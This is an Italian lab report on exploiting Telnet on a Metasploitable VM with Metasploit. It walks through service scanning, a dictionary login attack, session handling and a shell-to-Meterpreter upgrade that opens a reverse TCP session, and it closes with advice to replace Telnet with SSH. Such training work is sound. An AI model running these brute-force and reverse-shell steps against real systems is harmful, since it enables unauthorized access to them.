

EXPLOIT TELNET CON METASPLOIT

1)PUNTI CHIAVE

- Analisi servizio telnet
 - Accesso Metasploitable
 - Gestione Accessi
 - Upgrade sessione a Meterpreter
-

2)INTRODUZIONE

L'attività si è concentrata sull'analisi e lo sfruttamento del servizio **Telnet** attraverso l'uso di **Metasploit**.

È stato eseguito un attacco a dizionario per ottenere l'accesso, seguito dalla gestione e upgrade della sessione da **shell** a **Meterpreter**.

3)OBIETTIVO

Gli obiettivi sono:

- Analizzare il servizio telnet
 - Ottenere accesso alla Metasploitable con attacco a dizionario
 - Gestire le sessioni
 - Upgrade sessione a Meterpreter
-

4)STRUMENTI

- **Metasploitable** ----> macchina target
 - **Metasploit** ----> piattaforma di attacco
-

5)SVOLGIMENTO

5.1) ANALISI SERVIZIO TELNET

[illegible]

**Fig.1 Accesso Metasploit*

```
msf > search auxiliary/scanner/telnet/telnet_version

Matching Modules



| # | Name                                    | Disclosure Date | Rank   |
|---|-----------------------------------------|-----------------|--------|
| 0 | auxiliary/scanner/telnet/telnet_version | .               | normal |



Interact with a module by name or index. For example info 0, use 0 or run 0

msf > 
```

**Fig.2 Ricerca modulo*

```
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                       |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified user                                                                                                                                               |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.pentest-tools.org/en/latest/basics/using-metasploit.html">https://docs.pentest-tools.org/en/latest/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                             |
| THREADS  | 1               | yes      | The number of concurrent threads (max 50)                                                                                                                                         |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                      |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                   |



View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
```

**Fig.3 Configurazione modulo*

```

\x0a\x0a\x0aWarning: Never exp
\x0aLogin with msfadmin/msfadmin t
nned 1 of 1 hosts (100% complete)
Completed

```

**Fig.4 Risultato exploit*

```

(kali@kali)-[~]
$ telnet 192.168.1.149
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 20 10:11:30 EST 2026 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$

```

**Fig.5 Verifica accesso Metasploitable*

Per fare un'analisi del servizio telnet, viene usato il modulo **auxiliary/scanner/telnet/telnet_version** che permette di **identificare e analizzare i servizi Telnet attivi** su uno o più target.

Nella configurazione del modulo vengono inserite:

- **RHOST** ----> IP Metasploitable (192.168.1.149)

Lanciando l'attacco, è stato possibile recuperare le credenziali di accesso al servizio **telnet** e sono state verificate attraverso il comando **telnet 192.168.1.149**

5.2) ACCESSO A METASPLOITABLE CON ATTACCO A DIZIONARIO

```

(kali@kali)-[~]
$ nano usretest.txt

(kali@kali)-[~]
$ nano passwdtest.txt

```

**Fig.6 Creazione liste password*

```
msf > search auxiliary/scanner/telnet/telnet_login

Matching Modules

#  Name                                                                 Disclosure Date
-  -
0  auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass 2021-09-06
   reFolderList Authentication Bypass
1  auxiliary/scanner/telnet/telnet_login
   Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/sc
```

**Fig.7 Ricerca modulo*

```
PASSWORD          no
PASS_FILE         passwdtest.txt no
RHOSTS            192.168.1.149 yes

RPORT             23          yes
STOP_ON_SUCCESS   true       yes
THREADS           1          yes
USERNAME          no
USERPASS_FILE     no

USER_AS_PASS      false      no
USER_FILE         usretest.txt no
VERBOSE           true       yes
```

**Fig.8 Configurazione modulo*

```
[+] 192.168.1.149:23 - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23 - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.134:44443 → 192.168.1.149:23) at 2026-01-20 09:5
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

**Fig.9 Lancio exploit*

Prima di passare al login del servizio attraverso un attacco a dizionario, sono state simulate delle liste di usernames e passwords che verranno usate da Metasploit per il cracking.

Viene usato il modulo ***auxiliary/scanner/telnet/telnet_login*** che prenderà in questo caso un elenco di password e username in un determinato range di indirizzi IP per accedere a qualsiasi servizio telnet attivo.

Nella configurazione vengono inseriti:

- **RHOST: 192.168.1.149** ----> IP macchina target
- **USER_FILE: usretest.txt** ----> Lista usernames
- **PASS_FILE: passwdtest.txt** ----> Lista passwords
- **STOP_ON_SUCCESS** ----> permette di fermare l'operazione al primo login riuscito

Al momento del lancio, Metasploit cercherà le diverse combinazioni fra le due liste fino a trovare un nome utente e password corrispondenti.

Una volta trovate le credenziali e aver effettuato l'accesso al servizio telnet, si passa alla gestione delle sessioni.

5.3) GESTIONE ACCESSI

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
```

Active sessions

Id	Name	Type	Information	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.1.149:23)	192.168.1.134:37679 → 192.168.1.149:23 (192.168.1.149)

**Fig.10 Lista sessioni attive*

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > █
```

**Fig.11 Background sessione*

Per gestire le sessioni vengono utilizzati diversi comandi:

- **sessions -l** -----> permette di vedere la lista di sessione attive
- **sessions -i {ID sessione}** -----> permette di interagire con una delle sessioni attive
- **Ctrl + z** -----> consente di mettere in background una sessione

5.4) UPGRADE SESSIONE A METERPRETER

```
msf > search post/multi/manage/shell_to_meterpreter

Matching Modules

#  Name                                     Disclosure Date  Rank
-  -
0  post/multi/manage/shell_to_meterpreter  .               normal

Interact with a module by name or index. For example info 0, use 0 or

msf > use 0
msf post(multi/manage/shell_to_meterpreter) > 
```

*Fig. 12 Ricerca modulo meterpreter

```
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.134:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.134:4433 → 192.168.1.149:45933) at 2026-01-20 10:17:23 -0500
```

*Fig. 13 Lancio exploit

```
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  --      -
HANDLER    true             yes       Start an exploit/multi/handler to receive connections (unless IP of host that will receive the connection).
LHOST      192.168.1.134    no        IP of host that will receive the connection.
LPORT      4433             yes       Port for payload to connect to.
SESSION    1                yes       The session to run this module on
```

*Fig. 14 Configurazione modulo

```
Active sessions

Id  Name  Type                Information                                     Connection
--  --
1   shell                                TELNET msfadmin:msfadmin (192.168.1.149:23)  192.168.1.134:37307 → 192.168.1.149:23 (192.168.1.149)
2   meterpreter x86/linux  msfadmin @ metasploitable.localdomain        192.168.1.134:4433 → 192.168.1.149:45933 (192.168.1.149)
```

*Fig. 15 Verifica upgrade

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: msfadmin
meterpreter > 
```

*Fig. 16 Verifica meterpreter

Per effettuare un upgrade di una sessione da shell a **meterpreter**, viene caricato il modulo **post/multi/manage/shell_to_meterpreter**,

Vengono configurati:

- **LHOST: 192.168.1.134** ----> IP della macchina a cui il target dovrà connettersi
- **SESSION: 1** ----> ID della sessione

Viene successivamente verificata l'operazione di migrazione attraverso il comando **session -l** e come mostrato in **Fig.13**, la nuova sessione **meterpreter** è stata creata.

Come ulteriore verifica, è stato confermato l'accesso al sistema tramite la sessione **meterpreter**, utilizzando i comandi **sysinfo** e **getuid** per raccogliere informazioni sul target.

6)CONCLUSIONE

Il report conferma la vulnerabilità di servizi legacy non solo attraverso attacchi a dizionario che hanno permesso di ottenere rapidamente l'accesso grazie all'uso di credenziali deboli ma anche dall'upgrade da shell a **meterpreter** che ha dimostrato la facilità con cui un attaccante può assumere controllo avanzato sulla macchina target.

Una soluzione è di disabilitare Telnet sostituendolo con protocolli come SSH e di adottare policy per le passwords.